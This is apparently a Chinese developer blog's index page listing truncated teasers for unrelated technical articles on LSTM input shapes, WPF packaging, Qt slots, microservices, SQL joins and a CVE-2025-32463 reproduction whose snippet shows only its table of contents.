                                                                                                                          lstm 我有 20*6 条数据,20个样本,每个样本6条历史数据,每条数据有5个值,我送给网络输入时应该是20*6*5 还是 6*20*5你的数据是:20 个样本(batch size 20)每个样本有 6 条历史数据(s…

                                                                                                                          WPF打包exe应用的图标问题

                                                                                                                          目录 1、WPF打包方法 2、图标问题 1、WPF打包方法 使用Microsoft Visual Studio Installer Projects 2022工具打包(成功),需要新建Setup Project项目进行打包 (46 封私信) [C#.net资料]visual studio打包可安装的exe程序(添加配置文件)&am…

                                                                                                                          Qt中处理多个同类型对象共享槽函数应用

                                                                                                                          一.Qt中处理多个同类型对象共享槽函数应用场景数字键盘按钮处理动态生成的控件管理工具栏按钮响应游戏中的网格点击处理使用时需特别注意对象生命周期管理和类型安全,现代Qt开发中更推荐使用Lambda表达式替代sender()机制。二.示例1.本文示例功能在ui界面添加5个&am…

                                                                                                                          康养休闲旅游服务实训室建设方案:理实一体化的产教融合方案

                                                                                                                          一、康养休闲旅游服务实训室建设方案建设原则对接行业真实场景:实训环境与设备设施严格参照健康咨询、旅行社及相关服务、住宿业、餐饮业等行业的真实职业场景搭建,确保实训项目与岗位工作内容高度匹配,实现工学结合、理实一体化教学。融合前…

                                                                                                                          微服务架构的演进:迈向云原生——Java技术栈的实践之路

                                                                                                                          随着云计算技术的快速发展,微服务架构正逐步向云原生(Cloud Native)演进。云原生不仅是一种技术体系,更是一种开发和运维理念的革新。本文将以Java技术栈为例,结合Kubernetes(K8s)、服务网格&am…

                                                                                                                          CVE-2025-32463复现

                                                                                                                          目录背景知识chroot环境chroot 环境的具体表现Name Service Switch (NSS)机制漏洞简介环境搭建复现POC分析防御方法参考文章:背景知识 chroot环境 (全称“change root”)是一种Unix/Linux系统中的隔离技术,其核心作用是将进程的…

                                                                                                                          原生微信小程序研发,如何对图片进行统一管理?

                                                                                                                          目标: 统一在配置文件中管理图片,用变量存储,换图标时只需修改链接即可,无需更改业务代码,且方便查找。tips: 不建议在 asset 中存储大量图片,原因是官方要求小程序内存要限制在2M以内,图片放多…

                                                                                                                          Escrcpy(手机投屏) v1.27.2 便携版

                                                                                                                          Escrcpy 是一款强大的工具,它允许用户通过图形化的 Scrcpy 界面来显示和控制他们的 Android 设备。这款应用程序由 Electron 作为其底层框架驱动。Escrcpy 无需任何账户就可以使用,无需担心隐私或安全问题。Escrcpy没有广告,完全免费开源。软…

                                                                                                                          element-plus表单校验失败问题

                                                                                                                          一、问题:做表单校验时,自定义校验和常规校验都失败,自定义校验时无法拿到value值。二、原因:1、变量名称那没有绑定prop。如果是常规校验,没绑定prop的话,在确定按钮时,valid都是true。2、自定…

                                                                                                                          jmeter做跨线程组

                                                                                                                          多线程通常会将不同的业务逻辑分配到不同的线程组中。为什么要做多线程:模拟真实世界场景:在实际应用中,服务器通常需要同时处理来自多个用户的请求。通过多线程,JMeter可以模拟这种并发用户的行为,更准确地反映出应用…

                                                                                                                          SQL实战:多表查询篇

                                                                                                                          文章目录多表查询创建练习用的数据库链接/连接查询交叉连接自然连接内连接(取交集)外连接左外连接/右外连接自连接子查询联合查询总结数据库的备份和恢复命令行操作多表查询 -- 获得 alice的 部门所在城市 select * from staff where namealice; -- 获得dept_id1 select city …